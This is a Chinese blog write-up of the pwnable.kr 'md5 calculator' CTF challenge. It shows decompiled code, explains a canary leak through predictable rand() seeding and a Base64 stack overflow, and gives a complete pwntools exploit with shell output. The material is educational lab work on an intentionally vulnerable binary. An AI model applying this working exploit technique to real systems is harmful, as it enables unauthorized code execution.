【pwnable.kr】 md5 calculator

https://r00tnb.github.io/2018/02/25/pwnable.kr-md5%20calculator/

前言

也是一个很有pwn味道的题目,涉及的知识在掌握范围内所以做起来很爽!

分析

题目只给了可执行文件hash。于是就放到ida中逆向了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  int v5; // [sp+18h] [bp-8h]@1
  int v6; // [sp+1Ch] [bp-4h]@1

  setvbuf(stdout, 0, 1, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("- Welcome to the free MD5 calculating service -");
  v3 = time(0);
  srand(v3);
  v6 = my_hash();
  printf("Are you human? input captcha : %d\n", v6);
  __isoc99_scanf("%d", &v5);
  if ( v6 != v5 )
  {
    puts("wrong captcha!");
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int my_hash()
{
  int result; // eax@4
  int v1; // edx@4
  signed int i; // [sp+0h] [bp-38h]@1
  char v3[32]; // [sp+Ch] [bp-2Ch]@2
  int v4; // [sp+10h] [bp-28h]@4
  int v5; // [sp+14h] [bp-24h]@4
  int v6; // [sp+18h] [bp-20h]@4
  int v7; // [sp+1Ch] [bp-1Ch]@4
  int v8; // [sp+20h] [bp-18h]@4
  int v9; // [sp+24h] [bp-14h]@4
  int v10; // [sp+28h] [bp-10h]@4
  int v11; // [sp+2Ch] [bp-Ch]@1

  v11 = *MK_FP(__GS__, 20);
  for ( i = 0; i <= 7; ++i )
    *(_DWORD *)&v3[4 * i] = rand();
  result = v7 - v9 + v10 + v11 + v5 - v6 + v4 + v8;
  v1 = *MK_FP(__GS__, 20) ^ v11;
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int process_hash()
{
  int v0; // ST14_4@3
  char *ptr; // ST18_4@3
  char v3; // [sp+1Ch] [bp-20Ch]@1
  int v4; // [sp+21Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 )
    ;
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, (int)&v3);
  ptr = calc_md5((int)&v3, v0);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return *MK_FP(__GS__, 20) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl Base64Decode(const char *a1, int a2)
{
  signed int v2; // ST2C_4@1
  FILE *stream; // ST34_4@1
  int v4; // eax@1
  int v5; // ST38_4@1
  int v6; // eax@1
  int v7; // ST3C_4@1

  v2 = calcDecodeLength(a1);
  stream = (FILE *)fmemopen((int)a1, strlen(a1), (int)&unk_8049272);
  v4 = BIO_f_base64();
  v5 = BIO_new(v4);
  v6 = BIO_new_fp(stream, 0);
  v7 = BIO_push(v5, v6);
  BIO_set_flags(v7, 256);
  *(_BYTE *)(a2 + BIO_read(v7, a2, strlen(a1))) = 0;// overflow
  BIO_free_all(v7);
  fclose(stream);
  return v2;
}

贴出来了最关键的几个函数。通过ida反编译的代码还是很容易理清程序逻辑的,其中可以发现两处漏洞。

  • my_hash函数中使用的变量v11其实是stack canary
  • Base64Decode函数会把a1地址处的字符串base64解码,然后会把解码后的数据复制到a2所指示的缓冲区内,这里由于最大复制长度使用strlen(a1)而不是a2的长度导致溢出。

程序的保护如下

1
2
3
4
5
6
7
root@1:~/桌面/test$ checksec hash
[*] '/home/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/hash'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 

由于是栈溢出漏洞,只要通过my_hash函数的漏洞leak出canary就可以getshell。在my_hash中调用了rand函数,只要随机种子一样那么就可以预测任意一次的随机值,另外time(0)函数返回的时间是以秒为单位的,所以完全可以获得种子。
接下来就可以栈溢出覆盖返回地址了。system的地址可以使用它的plt地址,那/bin/sh地址呢?这里可以让程序溢出时重新跳入process_hash函数然后输入该字符串,把该字符串存储在数据段,由于数据段地址不变所以可以这样利用。
整理下利用思路:

  1. 在连接题目时本地同样以time函数设置随机种子,获得随机序列并计算canary
  2. 布置栈空间,使程序溢出时执行process_hash函数并向数据段写入/bin/sh

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import ctypes
import base64
from pwn import *

def work(DEBUG):
    context(arch='i386',os='linux',log_level='info')
    ll = ctypes.cdll.LoadLibrary
    lib = ll('libc.so.6')
    system_plt = 0x08048880
    process_hash_addr = 0x08048f92
    data_var = 0x0804b0e0
    
    if DEBUG:
        r = process('./hash')
    else:
        r = remote('pwnable.kr',9002)
        
    lib.srand(lib.time(0))
    # my_hash
    v3 = lib.rand()
    v4 = lib.rand()
    v5 = lib.rand()
    v6 = lib.rand()
    v7 = lib.rand()
    v8 = lib.rand()
    v9 = lib.rand()
    v10 = lib.rand()
    
    r.recvuntil(' : ')
    rel = int(r.recvuntil('\n'))
    canary = rel-v7+v9-v10-v5+v6-v4-v8
    canary &= 0xffffffff  
    
    payload = 'a'*0x200 #junk code
    payload += p32(canary)+'a'*12
    payload += p32(process_hash_addr)+p32(system_plt)#ret addr
    payload += 'a'*4+p32(data_var)
    payload = base64.b64encode(payload)
    
    r.sendline(str(rel))
    r.recvuntil('me!\n')
    r.sendline(payload+'\n')
    r.recvuntil('\n')
    r.sendline('/bin/sh')
    r.recvuntil('\n')
    r.interactive()
    

work(False)

 

1
2
3
4
5
6
7
8
9
10
11
12
root@1:~/桌面/test$ python 1.py
[+] Opening connection to pwnable.kr on port 9002: Done
[*] Switching to interactive mode
$ ls
flag
log
log2
md5calculator
super.pl
$ cat flag
Canary, Stack guard, Stack protector.. what is the correct expression?
$

要注意的是,如果网速太差就会导致canary计算错误,解决办法是将exp上传到题目服务器本地执行(看题目提示)

总结

stack canary能很好的防止栈溢出,但是程序的其他地方如果能够泄漏canary还是没卵用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值